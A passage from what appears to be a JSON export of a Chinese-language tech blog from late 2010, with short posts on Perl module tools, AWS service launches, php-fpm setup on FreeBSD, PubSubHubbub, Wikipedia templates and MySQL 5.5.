    "body": "很久以前只知道用 <a href=\"http://perldoc.perl.org/h2xs.html\">h2xs</a> 產生 <a href=\"http://www.perl.org/\">Perl</a> 的模組架構，後來被推薦可以用 <a href=\"http://search.cpan.org/dist/Module-Starter/\">Module::Starter</a> 產生... (忘記是誰推薦的，找 irc 紀錄沒翻到)\r\n\r\n這幾天要用，在 <a href=\"http://www.slideshare.net/\">SlideShare</a> 上面找到「<a href=\"http://www.slideshare.net/Skud/packaging-perl-modules\">Packaging Perl Modules</a>」這份投影片，雖然是 2007 年的投影片，但還是相當實際...\r\n\r\n在裝好 Module::Starter 後，先建立 <code>~/.module-starter</code> 目錄並設定 <code>~/.module-starter/config</code>：\r\n<blockquote><code>author: Gea-Suan Lin\r\nemail: gslin@gslin.org\r\nbuilder: Module::Build</code></blockquote>\r\n然後就收工了... 要產生模組時用：\r\n<blockquote><code>module-starter --module Foo::Bar</code></blockquote>\r\n生出來的東西會比 h2xs 簡單不少...\r\n\r\n<strong>Update</strong>：結果是 <a href=\"http://c9s.blogspot.com/\">c9s</a> 提醒了：「<a href=\"http://twitter.com/c9s/statuses/5988432677445632\">@gslin module::setup & ShipIt. would help.</a>」。",
    "title": "產生 Perl Module 的工具：Module::Starter"
  },
  {
    "id": "2357",
    "body": "三年多沒寫 <a href=\"http://www.perl.org/\">Perl</a> module，很多東西雖然有印象，但實際上都是重新學習...\r\n\r\n<a href=\"http://bradfitz.com/\">Brad Fitzpatrick</a> 寫的 <a href=\"http://search.cpan.org/dist/ShipIt/\">ShipIt</a> 配合 <a href=\"http://search.cpan.org/dist/Module-Build/\">Module::Build</a> 超好用的，還可以配合 <a href=\"http://git-scm.com/\">Git</a> 自動在產生 tarball 時打上 tag...\r\n\r\n<a href=\"http://search.cpan.org/dist/LEOCHARRE-Dev/\">cpan-upload</a> 則是可以在 CLI 介面直接上傳到 <a href=\"http://www.cpan.org/\">CPAN</a> 的 <a href=\"http://pause.cpan.org/\">PAUSE</a>，然後過不久後就可以在 CPAN 上面看到新模組了...\r\n\r\n不過還是不夠熟練，繼續研究吧...",
    "title": "ShipIt 與 cpan-upload"
  },
  {
    "id": "2358",
    "body": "這個 extension 真的會讓人噴飯 XDDD\r\n\r\n<a href=\"http://techcrunch.com/\">TechCrunch</a> 介紹了「<a href=\"https://chrome.google.com/extensions/detail/idkjdjficifbfjjkdkiimioljbloddpl\">Jimmy Wales</a>」這個 <a href=\"https://chrome.google.com/extensions/\">Google Chrome Extension</a>：「<a href=\"http://techcrunch.com/2010/11/22/just-add-wales/\">Chrome Extension Lets You Just Add Jimmy Wales</a>」。\r\n\r\n<a href=\"http://www.wikipedia.org/\">Wikipedia</a> 一直拒絕放廣告取得收入 (參考：「<a href=\"http://wikimediafoundation.org/w/index.php?title=WMFJA1/en\">An appeal from Wikipedia founder Jimmy Wales</a>」)，但相當諷刺的是，每年大概這個時候都會有超煩人的橫幅廣告，請你捐錢給 <a href=\"http://wikimedia.org/\">Wikimedia</a>...\r\n\r\n我有寫一個 <a href=\"http://www.greasespot.net/\">Greasemonkey</a> Script 處理這個：「<a href=\"http://userscripts.org/scripts/show/37006\">Wikipedia AD remover</a>」。\r\n\r\n這個 Extension 相當機車啊 XDDD (以下是裝上去以後的效果，取自 TechCrunch XDDD)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pLGHQ.webp\" /><img src=\"https://i.gslin.com/imgur/pLGHQ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k7kvw.webp\" /><img src=\"https://i.gslin.com/imgur/k7kvw.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3EetN.webp\" /><img src=\"https://i.gslin.com/imgur/3EetN.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/64ebk.webp\" /><img src=\"https://i.gslin.com/imgur/64ebk.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zDlqL.webp\" /><img src=\"https://i.gslin.com/imgur/zDlqL.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WrfRm.webp\" /><img src=\"https://i.gslin.com/imgur/WrfRm.jpg\" alt=\"\" /></picture>",
    "title": "處處有廣告！"
  },
  {
    "id": "2359",
    "body": "在「<a href=\"http://calendar.perfplanet.com/2010/the-state-of-web-performance-optimization-2010/\">The State of Web Performance Optimization – 2010</a>」這篇文章裡提到了 2010 年的 Web 最佳化統計資料，由於這是 <a href=\"http://www.webpagetest.org/\">WebPagetest</a> 的統計資訊，裡面有很多有趣的統計資料...\r\n\r\n看起來網頁愈來愈糟糕 XD 像是 Page Size 愈來愈大，Number of Requests 數量變多，Image Compression 的比例反而變少，以及 Combine JS/CSS 的分數愈來愈低，而整體的 Page Load Time 也變高了...\r\n\r\n不過也有不少項目是變好了，主要都是對開發沒有增加難度的... 像是 Keep-Alive 設定、Text Compression (GZip) 以及 Cache Static Content 都可以在 server side 設定一次就解決。人果然是懶惰的，會影響到開發的東西果然都沒什麼進展 XD",
    "title": "2010 年的 Web 最佳化統計"
  },
  {
    "id": "2361",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上的報導，<a href=\"http://www.comcast.com/\">Comcast</a> 開始限制 (過濾) <a href=\"http://www.level3.com/\">Level3</a> 對 Comcast 的流量：「<a href=\"http://yro.slashdot.org/story/10/11/30/0246235/Level-3-Shaken-Down-By-Comcast-Over-Video-Streaming\">Level 3 Shaken Down By Comcast Over Video Streaming</a>」。\r\n\r\n另外 Level3 的新聞稿：「<a href=\"http://www.level3.com/index.cfm?pageID=491&PR=962\">Level 3 Communications Issues Statement Concerning Comcast's Actions</a>」以及 Comcast 的回應稿：「<a href=\"http://blog.comcast.com/2010/11/10-facts-about-peering-comcast-and-level-3.html\">10 Facts About Peering, Comcast and Level 3</a>」。\r\n\r\n很擺明 Comcast 就是衝著 Level3 拿下 <a href=\"http://www.netflix.com/\">Netflix</a> 的合約而來的 (參考「<a href=\"http://blog.gslin.org/archives/2010/11/11/2342/netflix-%E6%8B%8B%E6%A3%84-akamai-cdn%EF%BC%8C%E6%94%B9%E4%BB%A5-level-3-cdn-%E7%82%BA%E4%B8%BB%E5%8A%9B\">Netflix 拋棄 Akamai CDN，改以 Level 3 CDN 為主力</a>」)，在評論「<a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2010/12/comcast-says-their-dispute-with-level-3-is-not-about-online-video-yeah-right.html\">Comcast Says Their Dispute With Level 3 Is \"Not About Online Video\" - Yeah Right</a>」也是對 Comcast 的說法不以為然。\r\n\r\n剛好在 12/21 <a href=\"http://www.fcc.gov/\">FCC</a> 才要對網路中立性投票：「<a href=\"http://politics.slashdot.org/story/10/12/01/1512220/FCC-To-Vote-On-Net-Neutrality-On-December-21\">FCC To Vote On Net Neutrality On December 21</a>」，這則新聞看起來真是...",
    "title": "Comcast 開始限制 Level3 的流量..."
  },
  {
    "id": "2363",
    "body": "用過後才知道這兩個東西搭起來超方便 XD\r\n\r\n首先是 <a href=\"http://search.cpan.org/dist/App-cpanminus/\">App::cpanminus</a> (一般會稱呼他可執行檔的檔名「<code>cpanm</code>」)，可以很方便的將軟體裝在自己的目錄下，而不用動到 root 權限。預設的目錄是裝到 <code>~/perl5/</code> 下。\r\n\r\n再來是 <a href=\"http://search.cpan.org/dist/local-lib/\">local::lib</a>，預設的 <code>use local::lib;</code> 就會讓系統使用自己目錄 <code>~/perl5/</code> 的 module... (感謝 <a href=\"http://www.clkao.org/\">clkao</a> 的推薦)\r\n\r\n相當好用啊...",
    "title": "Perl 中 local::lib 與 App::cpanminus 的搭配..."
  },
  {
    "id": "2365",
    "body": "看起來好像發了很多公告，但實際上都是與監控有關的部份，以及延伸產品：\r\n<ul>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/12/auto-scaling-policies.html\">Auto Scaling Policies</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/12/auto-scaling-follow-the-line.html\">Auto Scaling Follow the Line</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/12/amazon-cloudwatch-alarms.html\">Amazon CloudWatch Alarms</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/12/elastic-load-balancer-health-checks.html\">Elastic Load Balancer Health Checks</a></li>\r\n\t<li><a href=\"http://aws.typepad.com/aws/2010/12/amazon-cloudwatch-basic-monitoring-for-ec2-at-no-charge.html\">Amazon CloudWatch - Basic Monitoring for EC2 at No Charge</a></li>\r\n</ul>\r\n總結則是這篇：「<a href=\"http://aws.typepad.com/aws/2010/12/new-features-for-amazon-cloudwatch.html\">New Features for Amazon CloudWatch</a>」。\r\n\r\n比較有用的應該是 Basic Monitoring (5mins 間隔) 免費吧，可以拿來加減看一看...",
    "title": "AWS 的監控功能..."
  },
  {
    "id": "2366",
    "body": "參考 <a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://tech.slashdot.org/story/10/12/04/1538250/Wikipedia-Pages-Now-On-Amazon-mdash-With-Product-Links\">Wikipedia Pages Now On Amazon — With Product Links</a>」這篇文章。\r\n\r\n<a href=\"http://www.amazon.com/\">Amazon</a> 所產生的 <a href=\"http://www.wikipedia.org/\">Wikipedia</a> 對應頁面在這：「<a href=\"http://www.amazon.com/wiki/Main_Page\">Main Page - Shopping-enabled Wikipedia Page on Amazon</a>」。\r\n\r\n依照 <a href=\"http://www.wikipedia.org/\">Wikipedia</a> 的文章授權，是可以這樣做沒錯 (沒有禁止商業使用)。不過 <a href=\"http://www.google.com/\">Google</a> 禁止複製別人的重複內容：「<a href=\"http://www.google.com/support/webmasters/bin/answer.py?answer=66359\">Duplicate content</a>」。\r\n\r\n以目前 <a href=\"http://www.amazon.com/robots.txt\">www.amazon.com/robots.txt</a> 的內容看起來是沒對 <code>/wiki</code> 設限，接下來就來看 Google 會不會認定 Amazon 試著在惡搞 SEO 而列入處罰清單...",
    "title": "Amazon「導入」Wikipedia 並加上廣告連結"
  },
  {
    "id": "2367",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0UKuV.webp\" /><img src=\"https://i.gslin.com/imgur/0UKuV.jpg\" alt=\"\" style=\"float: left;\" /></picture>\r\n\r\n<a href=\"http://code.google.com/p/pubsubhubbub/\">PubSubHubbub</a> 對於內容提供者 (包括 Blog Platform 或是 Micro Blogging Platform) 已經是很簡單的協定了，不僅可以增加更新速度，還可以降低伺服器 loading，不過國內幾個平台還是沒人支援啊...\r\n\r\n首先是標準規格書：「<a href=\"http://pubsubhubbub.googlecode.com/svn/trunk/pubsubhubbub-core-0.3.html\">PubSubHubbub Core 0.3 -- Working Draft</a>」，不過這文件對於要支援 PubSubHubbub 的 content provider 不是很重要，只要把裡面的觀念看懂就好。\r\n\r\nPubSubHubbub 中有三種不同身份，可以用不同的伺服器跑。一個是內容提供者 (Publisher)，一個是訂閱者 (Subscriber)，另外一個是 Hub。內容提供者在這邊的例子就是 (Micro/) Blog Platform，而訂閱者可以是 <a href=\"http://www.google.com/reader\">Google Reader</a>，Hub 則是中繼角色，目前有 <a href=\"http://www.google.com/\">Google</a> 提供的服務可以用，也有 open source 軟體可以自己架。\r\n\r\n第一步，內容提供者在先在 feed 中加入一個或多個 hub 位置，像是這樣：\r\n<blockquote><code>&lt;link rel=\"hub\" href=\"http://pubsubhubbub.appspot.com\" /&gt;\r\n&lt;link rel=\"hub\" href=\"http://superfeedr.com/hubbub\" /&gt;</code></blockquote>\r\n第二步，當該 feed 有更新時送出 ping 給 hub，這部份假設用 <a href=\"http://www.perl.org/\">Perl</a> 的 <a href=\"http://search.cpan.org/dist/Net-PubSubHubbub-Publisher/\">Net-PubSubHubbub-Publisher</a> 做的話則是：\r\n<blockquote><code>my $pub = Net::PubSubHubbub::Publisher-&gt;new(hub => 'http://pubsubhubbub.appspot.com');\r\n$pub->publish_update('http://admin.pixnet.net/blog/feed');</code></blockquote>\r\n就是這樣子而已！",
    "title": "請支援 PubSubHubbub..."
  },
  {
    "id": "2369",
    "body": "這篇不是給完全沒碰過維基百科的初學者入門用的，而是給偶而有在編輯<a href=\"http://zh.wikipedia.org/\">中文版維基百科</a>，但對於社群常用的東西不是很熟的人。\r\n\r\n首先是對人物的部份，常用到 <a href=\"http://zh.wikipedia.org/wiki/Template:Bd\">bd</a> 模板，用法可以參考「<a href=\"http://zh.wikipedia.org/wiki/%E6%88%90%E5%90%89%E6%80%9D%E6%B1%97\">成吉思汗</a>」條目，範例如下：\r\n<blockquote><code>{{bd|1162年||1227年|8月25日}}</code></blockquote>\r\n好處是會加上「<a href=\"http://zh.wikipedia.org/wiki/Category:1162%E5%B9%B4%E5%87%BA%E7%94%9F\">Category:1162年出生</a>」與「<a href=\"http://zh.wikipedia.org/wiki/Category:1227%E5%B9%B4%E9%80%9D%E4%B8%96\">Category:1227年逝世</a>」的分類。如果沒有指定死亡日期則會自動再加上「<a href=\"http://zh.wikipedia.org/wiki/Category:%E5%9C%A8%E4%B8%96%E4%BA%BA%E7%89%A9\">Category:在世人物</a>」，如果沒有指定生日年份的話則會加上「<a href=\"http://zh.wikipedia.org/wiki/Category:%E5%87%BA%E7%94%9F%E4%B8%8D%E8%AF%A6\">Category:出生不詳</a>」，算是很基本很好用的模板。\r\n\r\n很多人物都有 <a href=\"http://twitter.com/\">Twitter</a> 連結，可以用 <a href=\"http://zh.wikipedia.org/wiki/Template:Twitter\">Template:Twitter</a> 模板，範例：\r\n<blockquote><code>{{Twitter|gslin|Gea-Suan Lin}}</code></blockquote>\r\n\r\n再來是中文因為有不同地區造成有不同的名詞，所以有語言轉換模板 <a href=\"http://zh.wikipedia.org/wiki/Template:NoteTA\">Template:NoteTA</a>，這邊要介紹的是「<a href=\"http://zh.wikipedia.org/wiki/Template:CGroup/list\">Template:CGroup/list</a>」(需要按下旁邊的「顯示」才會展開)，用法如下：\r\n<blockquote><code>{{noteTA|G1=IT|G2=Length}}</code>\r\n(表示對「電腦和資訊科技」與「長度單位」名詞轉換)</blockquote>",
    "title": "中文版維基百科 (Wikipedia) 常用模板 (Template)"
  },
  {
    "id": "2370",
    "body": "這篇還是講 <a href=\"http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html\">mod_fastcgi</a>，而非目前歸到 <a href=\"http://www.apache.org/\">Apache</a> 下管的 <a href=\"http://httpd.apache.org/mod_fcgid/\">mod_fcgid</a>。\r\n\r\n<a href=\"http://www.php.net/\">PHP</a> 5.3 已經內建 <a href=\"http://php-fpm.org/\">php-fpm</a>，不過 ports 預設是不會裝上去的，所以首先先把 <a href=\"http://www.freshports.org/lang/php5\">lang/php5</a> 加上 php-fpm 支援。方法是 <code>make config</code> 後選擇 FPM。如果有裝 <a href=\"http://www.freshports.org/ports-mgmt/portconf\">portconf</a> 的人可以直接在 <code>/usr/local/etc/ports.conf</code> 裡加上：\r\n<blockquote><code>lang/php5*: WITH_FPM=yes</code></blockquote>\r\n這樣就會強制蓋過系統設定，強制把 php-fpm 裝進去。\r\n\r\n接下來是設定的部份，首先是 php-fpm 的設定，這篇的文章只教預設值，會跑在 127.0.0.1:9000。所以只要在 <code>/etc/rc.conf.local</code> 內設定 <code>php_fpm_enable=\"YES\"</code>，然後跑 <code>/usr/local/etc/rc.d/php-fpm start</code> 就把 php-fpm 跑起來了。\r\n\r\n然後是 apache 的設定，有好幾條要設：\r\n<blockquote><code>LoadModule fastcgi_module libexec/apache22/mod_fastcgi.so\r\nFastCgiConfig -maxClassProcesses 1\r\nAddHandler php-fastcgi .php\r\nAction php-fastcgi /php-fpm-handler.fcgi\r\nFastCGIExternalServer /php-fpm-handler -host 127.0.0.1:9000\r\nScriptAlias /php-fpm-handler.fcgi /php-fpm-handler</code></blockquote>\r\n我是跑 apache22-worker，上面的設定就可以了...",
    "title": "FreeBSD 使用 FastCGI + PHP 5.3 提供的 php-fpm"
  },
  {
    "id": "2371",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5RJjL.webp\" /><img src=\"https://i.gslin.com/imgur/5RJjL.jpg\" alt=\"\" /></picture>\r\n\r\n當有多個 Data Center 的時候就應該要做的事情！<a href=\"http://www.amazon.com/\">Amazon</a> 總算是出手了...\r\n\r\nAmazon 官方的新聞稿在這：「<a href=\"http://aws.typepad.com/aws/2010/12/amazon-route-53-the-aws-domain-name-service.html\">Amazon Route 53 - The AWS Domain Name Service</a>」，CTO Werner Vogels 的介紹在這：「<a href=\"http://www.allthingsdistributed.com/2010/12/dns_amazon_route_53.html\">Expanding the Cloud with DNS - Introducing Amazon Route 53</a>」，產品的介紹頁在這：「<a href=\"http://aws.amazon.com/route53/\">Amazon Route 53</a>」。\r\n\r\nRoute 53 是利用 Amazon 目前已經有的 Data Center (依照 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 的名單，看起來是同一組機房)，加上 IPv4 Anycast 而提供的 DNS query 服務。以文件裡的範例可以看到使用了四個不同的 domain，分別是 com、net、org 以及 co.uk：\r\n<blockquote><code>&lt;NameServer&gt;ns-1638.awsdns-12.co.uk&lt;/NameServer&gt;\r\n&lt;NameServer&gt;ns-144.awsdns-18.com&lt;/NameServer&gt;\r\n&lt;NameServer&gt;ns-781.awsdns-33.net&lt;/NameServer&gt;\r\n&lt;NameServer&gt;ns-1478.awsdns-56.org&lt;/NameServer&gt;</code></blockquote>\r\n到幾個不同的點 <a href=\"http://www.bitwizard.nl/mtr/\">mtr</a> 可以看出來有用 Anycast，只是還需要調整... 另外，依照文件看起來，暫時不提供 slave server，而必須透過提供的 API 直接改，這點是比較麻煩的地方，不知道 Console 什麼時候要提供介面...\r\n\r\n最後來談價錢好了，每個 zone 的基本費用是 USD$1.5/month (包括 1M query/month 的量)，一年也才 USD$18/year...\r\n\r\nRoute 53 之所以特別，是因為一般人就算有錢也沒辦法架出像樣的 Anycast-based DNS (這要有錢而且有量才做得到)，而之前七月的時候 <a href=\"http://www.cotendo.com/\">Cotendo</a> 給的 quote 讓我連回信都懶得回 (雙方認知差距太大)，我記得價錢好像多了好多 0...\r\n\r\n這項服務會給自認 Anycast-based DNS 是「加值服務」而撈錢的公司一記重擊... 尤其大家都知道 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的東西出來後還是會花時間 tune，服務水準會不斷改善，比起其他公司來的穩定多了...",
    "title": "Amazon Web Services 新服務：Route 53"
  },
  {
    "id": "2374",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的 <a href=\"http://aws.amazon.com/s3/\">S3</a> 將單檔大小從 5GB 拉高至 5TB：「<a href=\"http://aws.typepad.com/aws/2010/12/amazon-s3-object-size-limit.html\">Amazon S3 - Object Size Limit Now 5 TB</a>」，這是因為先前提供了 <a href=\"http://aws.typepad.com/aws/2010/11/amazon-s3-multipart-upload.html\">Multipart Upload</a> 的功能 (也就是將大檔拆成小部份後分批上傳) 才有辦法提昇限制...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3wuGa.webp\" /><img src=\"https://i.gslin.com/imgur/3wuGa.jpg\" alt=\"\" /></picture>\r\n\r\n雖然 split 本來就是很成熟的技術，不過把檔案單一大小拉高後總是方便不少...",
    "title": "Amazon Web Services 的 S3 將單檔限制大小從 5GB 拉高至 5TB..."
  },
  {
    "id": "2375",
    "body": "<a href=\"http://automattic.com/\">Automattic</a> 就是 <a href=\"http://wordpress.com/\">WordPress.com</a> 背後營運的公司，訪談的部份內容在這邊：「<a href=\"http://techcrunch.com/2010/12/09/automattic-hits-300-million-unique-visitors-roughly-10-million-in-revenues/\">Automattic Hits 300 Million Unique Visitors, Roughly $10 Million In Revenue</a>」。\r\n\r\n目前 Automattic 有 74 個人，而 <a href=\"http://techcrunch.com/\">TechCrunch</a> 從「可靠的來源」知道每個月收入大約是 USD$1M，大多數都是從付費服務而來，目前已經 break-even。\r\n\r\n文章的最後一個問題還蠻好玩的 XD\r\n<blockquote><strong>What’s the exit potential for Automattic?</strong>\r\nOur goal’s not to be acquired.</blockquote>",
    "title": "Automattic (WordPress.com) 的訪談"
  },
  {
    "id": "2377",
    "body": "目前 <a href=\"http://aws.amazon.com/route53/\">Route 53</a> 還沒有 AWS Console 可以用，必須自己寫 API 呼叫，或是透過比較信任的 3rd-party website 更新。\r\n\r\n比較早出現的是 <a href=\"http://www.dns30.com/\">DNS 30</a>，背後其實就是 <a href=\"http://www.bucketexplorer.com/\">Bucket Explorer</a> 與 <a href=\"http://www.sdbexplorer.com/\">SDB Explorer</a> 的公司，介面簡單而且容易懂。由於宣稱不會將 secret key 存起來，所以每次登入後都要輸入 access key 與 secret key...\r\n\r\n另外一個是 <a href=\"http://ylastic.com/\">Ylastic</a>，這家公司前幾天也宣佈支援 Route 53 了：「<a href=\"http://blog.ylastic.com/route53-dns-management\">AWS Route 53 DNS Management</a>」，他們所提供的 Screenshot 看起來也還蠻簡單易懂的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zpASd.webp\" /><img src=\"https://i.gslin.com/imgur/zpASd.jpg\" alt=\"\" /></picture>\r\n\r\n不過我不確定 Ylastic 提供的 Route 53 服務是否免費，有興趣的可以去試看看...",
    "title": "Route 53 的幾個網頁操作介面"
  },
  {
    "id": "2378",
    "body": "從 <a href=\"http://ihower.tw/\">ihower</a> 的 Twitter 上看到的，看起來相當好用的東西：「<a href=\"http://headjs.com/\">Head JS :: The only script in your HEAD</a>」，官方網站的程式碼就相當容易懂了，這邊就不再列出範例了...\r\n\r\n由於以往要作到類似效果並不太容易 (okay，我知道某 library 可以做，但... *消音*)，Head JS 的出現以及好用的程度 (容易上手)，可以使得網站大幅提昇頁面讀取速度。\r\n\r\n手上舊的 project 可能就放著吧，但新的 project 應該會用...",
    "title": "Head JS：非同步讀取 script 並且依照相依性執行"
  },
  {
    "id": "2379",
    "body": "感謝 #perl.tw 上的幫助，總算是找到方法將 <a href=\"http://search.cpan.org/dist/Tatsumaki/\">Tatsumaki</a> 跑起來，而且把該拆開的地方拆開...\r\n\r\n這是 <code>app.psgi</code>：\r\n<blockquote><pre>use Controller::Main;\r\nuse Tatsumaki::Application;\r\nuse strict;\r\nuse warnings;\r\n\r\nTatsumaki::Application-&gt;new([\r\n    '/' => 'Controller::Main',\r\n]);</pre></blockquote>\r\n這是 <code>Controller/Main.pm</code>：\r\n<blockquote><pre>package Controller::Main;\r\n\r\nuse parent qw/Tatsumaki::Handler/;\r\nuse strict;\r\nuse warnings;\r\n\r\nsub get {\r\n    my $self = shift;\r\n    $self-&gt;write('It is Main Controller.');\r\n}</pre></blockquote>\r\n然後直接用 <code>twiggy</code> 不加參數就可以跑起來..",
    "title": "Tatsumaki 與 Twiggy 的搭配..."
  },
  {
    "id": "2382",
    "body": "因為對 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 還算熟悉，所以在 FreeBSD 上遇到 Ports 內沒有的 <a href=\"http://www.cpan.org/\">CPAN</a> module，我會做一個新的 port 出來 send-pr，但對於 <a href=\"http://www.debian.org/\">Debian</a> 的熟悉度沒有 FreeBSD 高，想了老半天想不到什麼好方法，在 #perl.tw 上問了這個問題，不過還是沒有滿意的答案...\r\n\r\n然後想到，在 <a href=\"http://stackoverflow.com/\">Stack Overflow</a> 上面說不定有人問過，丟一些關鍵字後有兩筆相關討論可以參考：(至少是可行的解法)\r\n<ul>\r\n\t<li><a href=\"http://stackoverflow.com/questions/398221/how-do-you-manage-perl-modules-when-using-a-package-manager\">How do YOU manage Perl modules when using a package manager?</a> (2008/12/29)</li>\r\n\t<li><a href=\"http://stackoverflow.com/questions/1336836/whats-the-best-way-to-turn-cpan-modules-into-debian-packages\">What's the best way to turn CPAN modules into Debian packages?</a> (2009/08/26)</li>\r\n</ul>\r\n有人是建議自己 compile 一個 <a href=\"http://www.perl.org/\">Perl</a> 出來裝到 <code>/usr/local</code> 下 (於是就可以惡搞到底)，有的人則是建議用 <a href=\"http://packages.debian.org/dh-make-perl\">dh-make-perl</a> 做 .deb 出來用，但還是會有很多問題...\r\n\r\n再想看看好了，真麻煩...",
    "title": "在 Debian 上使用 CPAN 時要如何與系統的 lib*-perl 合作..."
  },
  {
    "id": "2384",
    "body": "不需要其他的說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9K0RP.webp\" /><img src=\"https://i.gslin.com/imgur/9K0RP.jpg\" alt=\"\" /></picture>\r\n\r\n從「<a href=\"http://techcrunch.com/2010/12/12/no-its-not-a-facebook-profile-its-picasso-well-almost/\">No, It’s Not A Facebook Profile. It’s Picasso (well, almost).</a>」看到的。",
    "title": "Facebook Profile？"
  },
  {
    "id": "2385",
    "body": "也是篇不需要說明的圖片：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UuIVW.webp\" /><img src=\"https://i.gslin.com/imgur/UuIVW.jpg\" alt=\"\" /></picture>\r\n\r\n從 <a href=\"http://techcrunch.com/\">TechCrunch</a> 的「<a href=\"http://techcrunch.com/2010/12/14/whats-on-a-mans-mind/\">Connecting Facebook’s Dots</a>」看到的。",
    "title": "Facebook 登入畫面..."
  },
  {
    "id": "2386",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 前天推出的 <a href=\"http://www.mysqlperformanceblog.com/2010/12/13/percona-server-5-1-52-12-3/\">Percona Server 5.1.52-12.3</a> 宣佈支援 <a href=\"https://github.com/ahiguti/HandlerSocket-Plugin-for-MySQL\">HandlerSocket</a>，在 <a href=\"http://www.innodb.com/\">InnoDB</a> 的基礎上面提供 <a href=\"http://memcached.org/\">memcached</a> 等級的效能... (不過還不曉得在碰到 I/O 時會掉多少)\r\n\r\nHandlerSocket 拿 InnoDB 當作 Key-Value store 的底層，需要的時候還可以透過上層的 SQL 存取，然後 Percona 也跳下去，因為現有的資料庫就可以拿來用，可以預期會有很多人跳下去玩...",
    "title": "Percona Server 支援 HandlerSocket"
  },
  {
    "id": "2388",
    "body": "<a href=\"http://www.oracle.com/\">Oracle</a> 的公告：「<a href=\"http://blogs.oracle.com/mysql/2010/12/mysql_55_is_ga.html\">MySQL 5.5 is GA!</a>」，以及 Oracle 的新聞稿：「<a href=\"http://blogs.oracle.com/mysql/2010/12/mysql_55_is_ga.html\">MySQL 5.5 Now Generally Available</a>」。\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> 5.5 比起之前的版本，除了 <a href=\"http://www.innodb.com/\">InnoDB</a> 的改善以外，最重要的是 Semi-Replication 成為內建功能，這個功能使得需要 Read-after-write consistency 的 query 可以不用強制綁在 master 上做...\r\n\r\n對於開發者，MySQL 5.5 把本來用的 <a href=\"http://sourceware.org/autobook/\">autotools</a> 換成 <a href=\"http://www.cmake.org/\">CMake</a> 了：「<a href=\"http://www.lenzg.net/archives/329-MySQL-5.5-CMake-replaces-autoconfautomake-on-all-platforms,-support-for-autotools-has-now-been-removed.html\">MySQL 5.5: CMake replaces autoconf/automake on all platforms, support for autotools has now been removed</a>」。\r\n\r\n接下來就等 <a href=\"http://www.percona.com/\">Percona</a> 出對應的版本了...",
    "title": "MySQL 5.5 GA (General Availibility)！"
  },
  {
    "id": "2389",
    "body": "又是一個邪惡的功能，直接把 <a href=\"http://www.vmware.com/\">VMware</a> 的 <a href=\"http://en.wikipedia.org/wiki/VMDK\">VMDK</a> 檔丟上 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 上跑：「<a href=\"http://aws.typepad.com/aws/2010/12/amazon-vm-import-bring-your-vmware-images-to-the-cloud.html\">VM Import - Bring Your VMware Images to The Cloud</a>」。\r\n\r\n這個服務不另外收費，僅就 <a href=\"http://aws.amazon.com/s3/\">S3</a>、<a href=\"http://aws.amazon.com/ebs/\">EBS</a> 與 data transfer 的費用收費而已，不過公告裡提到目前只支援 <a href=\"http://www.microsoft.com/poland/windowsserver2008/\">Windows Server 2008</a> SP2：\r\n<blockquote>You can start importing 32 and 64 bit Windows Server 2008 SP2 images right now (we support the Standard, Enterprise, and Datacenter editions).</blockquote>",
    "title": "VM Import：把 VMware Image 直接丟到 AWS EC2 上面跑..."
  },
  {
    "id": "2390",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的官方網誌上提到了 <a href=\"http://www.daemonology.net/\">Colin Percival</a> 將 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 9-CURRENT 放到 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 上跑：「<a href=\"http://aws.typepad.com/aws/2010/12/freebsd-on-amazon-ec2.html\">FreeBSD on Amazon EC2</a>」。他的網誌也提到這件事情了：「<a href=\"http://www.daemonology.net/blog/2010-12-13-FreeBSD-on-EC2.html\">Announcing FreeBSD on EC2</a>」，計畫的頁面在：「<a href=\"http://www.daemonology.net/freebsd-on-ec2/\">FreeBSD on EC2 status</a>」。\r\n\r\n花了幾個小時玩，發現用 t1.micro 跑 9-CURRENT 的速度真是太慢了。就算考慮到 9-CURRENT 裡面有很多 debugging code，不過這個速度實在沒辦法測什麼東西... 在乾淨的系統裡編 <a href=\"http://www.bitwizard.nl/mtr/\">mtr</a> (<code>WITHOUT_X11=yes</code>) 編一個小時編不完啊 XD\r\n\r\n等 backport 回 8-STABLE 後再來玩一次看看吧...",
    "title": "在 AWS EC2 上跑 FreeBSD"
  },
  {
    "id": "2391",
